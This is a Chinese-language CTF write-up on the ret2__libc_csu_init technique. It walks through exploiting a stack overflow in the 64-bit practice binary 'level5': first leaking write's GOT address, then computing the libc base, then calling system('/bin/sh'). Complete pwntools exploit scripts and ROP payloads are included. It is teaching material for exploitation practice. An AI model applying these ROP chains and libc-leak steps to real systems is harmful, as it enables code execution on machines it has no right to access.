ROP-ret2__libc_csu_init(64位ELF)

前言

随记

示例文件

64位传参(函数调用约定)

首先说一下64位文件的传参方式:

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

当参数为7个以上时, 前 6 个与前面一样, 但后面的依次 放入栈中,即和32位程序一样

1
2
3
4
5
6
7
比如参数大于7个的时候

function_1(a,b,c,d,e,f,g,h)
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->(%esp)
g->(%esp)
call H

利用原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。

这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在

我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别),将程序扔到IDA中,其汇编代码如下:

这里我们可以利用以下几点:

从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据(因为都是向寄存器进行pop)。对应的汇编如下:

0x00000000004006000x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15 赋给 edi

需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位

而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器(rdx、rsi、edi)。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。对应的汇编如下:

0x000000000040060D0x0000000000400614,我们可以控制 rbx 与 rbp 之间的关系为rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。对应的汇编代码如下:

分析到这里,差不多可以进入正题了。

做题

64位程序,开了NX保护,main函数如下:

进入 vulnerable_function 函数:

发现一个read函数,这是一个简单的栈溢出函数,

ssize_t read(int fd,void*buf,size_t count)
参数说明:
fd: 是文件描述符
buf:为读出数据的缓冲区;
count:为每次读取的字节数(是请求读取的字节数,读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移)
成功:返回读出的字节数
失败:返回-1,并设置errno,如果在调用read
之前到达文件末尾,则这次read返回0

首先在IDA里看一下read函数的栈偏移(覆盖返回地址):0x88,为了防止IDA不准确导致错误,因此手动测量一下:

利用cyclic工具生成不规则字符串(仔细看挺规则的)

pwngdb开始调试,执行如下操作:

利用rsp寄存器找偏移:

x/wx $rsp # 以16进制显示指定rsp寄存器中的数据

栈偏移为136,与IDA测的0x88相等

从IDA里可以看到,没有system函数,但有一个已知的write函数,我们可以利用这个函数并利用libc泄露出程序加载到内存后的地址(当然也可以选用__libc_start_main)。

首先寻找write函数在内存中的真实地址:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil(b'Hello, World\n')
payload0 = b'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_start = u64(p.recv(8))
print("write_addr_in_memory_is "+hex(write_start))

解释一下这里的payload0

python
1
payload0 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)

首先输入136个字符使程序发生栈溢出,然后让pop_addr覆盖栈中的返回地址,使程序执行pop_addr地址处的函数,并分别将栈中的0、1、write_got函数地址、8、write_got、1分别pop到寄存器rbx、rbp、r12、r13、r14、r15中去,之后将pop函数的返回地址覆盖mov_addr的地址为,如下:

注意:payload发送的内容都在栈上或堆上,这得看你的变量在栈上还是堆上,具体情况具体分析

解释一下payload中两个write_got函数的作用:

在布置完寄存器后,由于有 call qword ptr [r12+rbx*8] 它调用了write函数,其参数为write_got函数地址(r14寄存器,动调一下就知道了),写成C语言类似于:write(write_got函数地址)==printf(write_got函数地址),再使用u64(p.recv(8))接受数据并print出来就行了

之后程序转向mov_addr函数,利用mov指令布置寄存器rdx,rsi,edi

JNZ(或JNE)(jump if not zero, or not equal),汇编语言中的条件转移指令。结果不为零(或不相等)则转移。

这里rbx和rbp都等于1,他们相等,所以继续执行payload代码(main_addr),而不是去执行loc_400600

从整体上来看,我们输入了 ‘A’136,利用payload0对寄存器布局之后又重新回到了main函数再说说’a’(0x8+8*6)的作用:它的作用就是为了平衡堆栈也就是说,当mov_addr执行完之后,按照流程仍然会执行地址400616处的函数,我们并不希望它执行到这个函数(因为他会再次pop寄存器更换我们布置好的内容),所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充),如下图所示:

用垃圾数据填充地址0x16-0x22的内容,最后将main_addr覆盖ret,从而执行main_addr处的内容

这道题目我们使用系统中自带的libc.so.6文件
请注意:当程序加载的时候会寻找同目录下的libc.so.6文件,如果存在,则会自动加载,而不会去加载系统自带的libc文件

这样,我们就获得了write函数真实地址。

由此,第二部分EXP如下

Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc.so.6')
libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search('/bin/sh'))+libc_base

print("libc_base_addr_in_memory_is "+hex(libc_base))
print("system_addr_in_memory_is "+hex(system_addr))
print("/bin/sh_addr_in_memory_is "+hex(binsh))

pop_rdi_ret=0x400623
payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)

p.interactive()

当我们获得write函数的真实地址之后,就可以计算出libc文件的基址,从而可以计算出system函数和/bin/sh字符串在内存中的地址,从而利用它。

接下来解释一下第二个payload的意思:

1
payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

当程序重新执行到main函数时,我们利用栈溢出让返回地址被pop_rdi_ret覆盖,从而程序执行pop_rdi_ret。

注意,当我们send payload之后,pop_rdi_ret、binsh和system_addr被送到了栈中,利用gadgets:pop rdi;ret 将栈中的binsh地址送往rdi寄存器中(也就是说pop_rdi_ret的参数是地址binsh),然后将system函数地址覆盖到ret,程序就会执行此system函数。
当system函数执行的时候会利用到rdi里的参数,动态调试一下就知道了。

完整的exp如下:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

p = process('./level5')
elf = ELF('level5')

pop_addr = 0x40061a
write_got = elf.got['write']
mov_addr = 0x400600
main_addr = elf.symbols['main']

p.recvuntil(b'Hello, World\n')
payload0 = b'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_start = u64(p.recv(8))
print("write_addr_in_memory_is "+hex(write_start))

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc.so.6')
libc_base=write_start-libc.symbols['write']
system_addr=libc.symbols['system']+libc_base
binsh=next(libc.search(b'/bin/sh'))+libc_base

print("libc_base_addr_in_memory_is "+hex(libc_base))
print("system_addr_in_memory_is "+hex(system_addr))
print("/bin/sh_addr_in_memory_is "+hex(binsh))

pop_rdi_ret=0x400623
payload=b'a'*0x88+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)

p.send(payload)

p.interactive()

参考资料

https://cloud.tencent.com/developer/article/1345756;

https://blog.csdn.net/king_cpp_py/article/details/79483152;

https://www.yuque.com/u239977/cbzkn3/vty6x0;